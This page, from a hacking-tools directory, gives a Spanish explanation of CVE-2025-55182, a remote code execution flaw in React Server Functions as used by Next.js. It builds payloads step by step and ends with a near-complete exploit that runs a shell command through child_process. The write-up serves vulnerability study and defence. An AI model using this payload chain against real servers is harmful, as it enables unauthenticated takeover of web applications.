Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182 — Explicación y PoC completo de RCE para CVE-2025-55182 | Kitploit
Herramientas/GitHubGitHub/msanft/cve-2025-55182
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de Payloads
GitHubmsanft/cve-2025-55182

CVE-2025-55182

Explicación y PoC completo de RCE para CVE-2025-55182

Ver Repositorio
1.4k198hace 8 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182

Esta vulnerabilidad permite RCE en las Server Functions de React, por ejemplo, tal como las ofrece Next.js a través de referencias inseguras a prototipos.

No soy un experto en React o Next.js, así que toma toda la información aquí con cautela.

Antecedentes

React ofrece Server Functions1, que pueden considerarse como una especie de RPC sobre HTTP. Se pueden usar para obtener datos de pares adyacentes y garantizar baja latencia, o realizar solicitudes autenticadas para las que el cliente carece de credenciales.

React utiliza algo llamado React Flight Protocol2 para la serialización de valores pasados a Server Functions.

El cliente pasa "chunks" al servidor, por ejemplo a través de datos de formulario:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Como se muestra, estos pueden tener referencias entre sí. La carga útil anterior se deserializa de la siguiente manera en el servidor:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

El formato en sí es un poco más intrincado y permite una serialización y deserialización más complejas, pero esto proporciona un conocimiento básico para entender la vulnerabilidad real.

Vulnerabilidad

Hasta este commit3, al recorrer chunks en la resolución de referencias, como obtener fruitName del chunk 2 en el ejemplo anterior, React no verificaba si la clave solicitada estaba realmente definida en el objeto. Esto nos permitía acceder al prototipo del objeto4.

Esto se puede demostrar con una carga útil como esta:

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Que se deserializa al constructor de funciones5:

root@kitploit:~
[Function: Function]

Cuando el chunk con ID 0 no es un array sino un objeto, podemos establecer la clave then al constructor de funciones. El objeto es luego devuelto por la función decodeReplyFromBusboy y se espera (await) por Next.js:

root@kitploit:~
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Cuando esto devuelve un thenable, el await en el llamador lo ejecutará. Esto es lo que sucede con esta carga útil:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Lo que lleva a este error:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

El error se ve así porque V8 llama a una función que se está esperando (await) con las funciones internas resolve y reject, que, cuando se convierten a cadena (toString), se serializan a algo como:

root@kitploit:~
function () { [native code] }

Explotación

Dado que podemos obtener trivialmente el constructor Function, la forma directa es encontrar un gadget de llamada que invoque al constructor con un valor controlado por el usuario (es decir, el código de la función como cadena), y luego llame a la función devuelta.

Hay varios lugares que pueden llamar al constructor de funciones, por ejemplo resolveServerReference, donde id es un objeto controlado, y lastIndexOf puede sobrescribirse para devolver una cadena controlada por el usuario (p. ej., mediante Array.prototype.join) y slice puede sobrescribirse al constructor de funciones. Sin embargo, este lugar no funciona porque la segunda invocación de .slice() proporciona un número como primer argumento, que —hasta donde sé— nunca puede ser manejado por el constructor de funciones.

Aquí entra una idea brillante de maple31426. Cuando getChunk toma el chunk con ID 0 como referencia raíz para comenzar a resolver la cadena de referencias, este mismo chunk puede resolverse a un "falso chunk" creado intencionadamente.

Podemos hacer referencia al chunk 0 creado intencionadamente en el chunk 1 usando la sintaxis $@, que devuelve el chunk "crudo", no su valor resuelto:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Combinando esto con nuestra sobreescritura de then anterior, podemos crear algo como esto:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Aquí, el chunk 0 sobrescribe su propio .then() con el .then() de su propia representación de chunk crudo. En términos simples, sobrescribimos nuestro propio .then() con Chunk.prototype.then, que existe, ya que los Chunk son thenables:

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

Con la carga útil anterior, Chunk.prototype.then finalmente se llama con el chunk creado intencionadamente con ID 0.

Como se muestra arriba, cuando .status en nuestro chunk falso es resolved_model:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Entramos en initializeModelChunk. Aquí, .value se analiza como JSON, y luego se resuelven las referencias sobre el objeto devuelto, usando el contexto "externo" de nuestros chunks con IDs 0 y 1:

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

Dentro de esto, ahora tenemos una segunda pasada de evaluación con algunos valores adicionales a los que tenemos acceso debido a que el contexto externo ya está resuelto.

Hay un gadget de llamada en el manejo de datos blob con el prefijo $B en el protocolo flight:

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Usando el campo especial _response, controlamos la propiedad response del chunk creado intencionadamente:

root@kitploit:~
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

Con esto, podemos crear un objeto con propiedades ._formData y ._prefix falsas:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

La propiedad .reason debe añadirse para evitar fallar en la invocación de toString en initializeModelChunk:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

Al apuntar ._formData al constructor de funciones, y ._prefix a nuestro código, obtenemos un gadget de invocación para el constructor de funciones en la deserialización de blobs:

root@kitploit:~
response._formData.get(response._prefix + "0")
// se convierte en
Function("return foo; // 0")

Nuestra función creada intencionadamente es luego devuelta por parseModelString como el método .then() del chunk creado intencionadamente, que también se espera (await), ya que todo esto ocurre en una única cadena de resolución de promesas. Por lo tanto, al devolver un thenable, nuestra función creada intencionadamente es llamada. Esto constituye el gadget de llamada requerido mencionado anteriormente.

Juntando todo esto con una carga útil real de RCE, obtenemos algo como esto:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

El extra, que hace que esta vulnerabilidad sea aún peor, es que todo esto ocurre durante la deserialización, antes de que la acción solicitada sea validada en getActionModIdOrError. Por lo tanto, establecer una cabecera como Next-Action: foo es suficiente para desencadenar la vulnerabilidad.

Footnotes

  1. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/es/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/es/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

  6. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E

Descargar herramienta
↩